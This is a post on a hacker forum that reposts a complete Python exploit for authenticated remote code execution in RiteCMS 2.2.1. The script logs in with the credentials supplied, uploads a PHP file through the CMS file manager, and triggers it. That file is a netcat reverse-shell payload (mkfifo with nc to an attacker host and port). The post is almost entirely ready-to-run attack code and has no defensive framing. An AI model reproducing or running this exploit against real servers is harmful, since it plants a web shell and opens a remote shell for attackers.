Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

RiteCMS 2.2.1 - Remote Code Execution (Authenticated)

 Share


Recommended Posts

# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution
# Date: 2020-07-03
# Exploit Author: H0j3n
# Vendor Homepage: http://ritecms.com/
# Software Link: http://sourceforge.net/projects/ritecms/files/ritecms_2.2.1.zip/download
# Version: 2.2.1
# Tested on: Linux
# Reference: https://www.exploit-db.com/exploits/48636

# !/usr/bin/python
# coding=utf-8
import requests,sys,base64,os
from colorama import Fore, Back, Style
from requests_toolbelt.multipart.encoder import MultipartEncoder
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Variable
CONTENT = '''<form action="index.php" method="post">'''

# Header
def header():
	top = cyan('''
 \t _____  _ _        _____ __  __  _____ 
 \t|  __ \(_) |      / ____|  \/  |/ ____|
 \t| |__) |_| |_ ___| |    | \  / | (___              ___    ___   ___
 \t|  _  /| | __/ _ \ |    | |\/| |\___ \     _  __  |_  |  |_  | <  /
 \t| | \ \| | ||  __/ |____| |  | |____) |   | |/ / / __/_ / __/_ / / 
 \t|_|  \_\_|\__\___|\_____|_|  |_|_____/    |___/ /____(_)____(_)_/                                      
''')
    	return top 

def info():
	top = cyan('''
[+] IP : {0}
[+] USERNAME : {1}
[+] PASSWORD : {2}
'''.format(IP,USER,PASS))

	return top
    
# Request Function
# Color Function
def cyan(STRING):
    return Style.BRIGHT+Fore.CYAN+STRING+Fore.RESET
    
def red(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

    
# Main    	
if __name__ == "__main__":
	print header()
	print "\t--------------------------------------------------------------"
        print "\t|  RiteCMS v2.2.1 - Authenticated Remote Code Execution      |"
	print "\t--------------------------------------------------------------"
	print "\t| Reference : https://www.exploit-db.com/exploits/48636      |"
	print "\t| By        : H0j3n                                          |"
	print "\t--------------------------------------------------------------"
	if len(sys.argv) == 1:
		print red("[+] Usage :\t\t python %s http://10.10.10.10 admin:admin" % sys.argv[0])
		
		print cyan("\n[-] Please Put IP & Credentials")
		sys.exit(-1)
	if len(sys.argv) == 2:
		print red("[+] Usage :\t\t python %s http://10.10.10.10 admin:admin" % sys.argv[0])
		
		print cyan("\n[-] Please Put Credentials")
		sys.exit(-1)
	if len(sys.argv) > 3:
		print red("[+] Usage :\t\t python %s http://10.10.10.10 admin:admin" % sys.argv[0])
		
		print cyan("\n[-] Only 2 arguments needed please see the usage!")
		sys.exit(-1)	
	IP = sys.argv[1]
	USER,PASS = sys.argv[2].split(":")
	print info()

	URL='{0}/cms/index.php'.format(IP)
	URL_UPLOAD = URL + '?mode=filemanager&action=upload&directory=media'

	HEAD = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"}
	LOG_INFO = {"username" : USER, "userpw" : PASS}
	try:
		with requests.Session() as SESSION:
		    SESSION.get(URL)
		    SESSION.post(URL, data=LOG_INFO, headers=HEAD,allow_redirects=False)
	except:
		print red("[-] Check the URL!")
		sys.exit(-1)		
	if CONTENT in str(SESSION.get(URL_UPLOAD).text):
		print red("[-] Cannot Login!")
		sys.exit(-1)	
	else:
		print cyan("[+] Credentials Working!")
	LHOST = str(raw_input("Enter LHOST : "))
	LPORT = str(raw_input("Enter LPORT : "))
	FILENAME = str(raw_input("Enter FileName (include.php) : "))
	PAYLOAD = "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f'); ?>".format(LHOST,LPORT)
	FORM_DATA = {
	    'mode': (None,'filemanager'),
	    'file': (FILENAME, PAYLOAD),
	    'directory': (None, 'media'),
	    'file_name': (None, ''),
	    'upload_mode': (None, '1'),
	    'resize_xy': (None, 'x'),
	    'resize': (None, '640'),
	    'compression': (None, '80'),
	    'thumbnail_resize_xy': (None, 'x'),
	    'thumbnail_resize': (None, '150'),
	    'thumbnail_compression': (None, '70'),
	    'upload_file_submit': (None, 'OK - Upload file')
	}
	HEADER_UPLOAD = {
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate',
	'Referer': URL_UPLOAD
	}
	response = SESSION.post(URL,files=FORM_DATA,headers=HEADER_UPLOAD)
	if FILENAME in response.text:
		print cyan("\n[+] File uploaded and can be found!")
	else:
		print red("[-] File cannot be found or use different file name!")
		sys.exit(-1)
	URL_GET = IP + '/media/{0}'.format(FILENAME)
	OPTIONS = str(raw_input("Exploit Now (y/n)?"))
	print cyan("\nW0rk1ng!!! Enjoy :)")
	SESSION.get(URL_GET)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...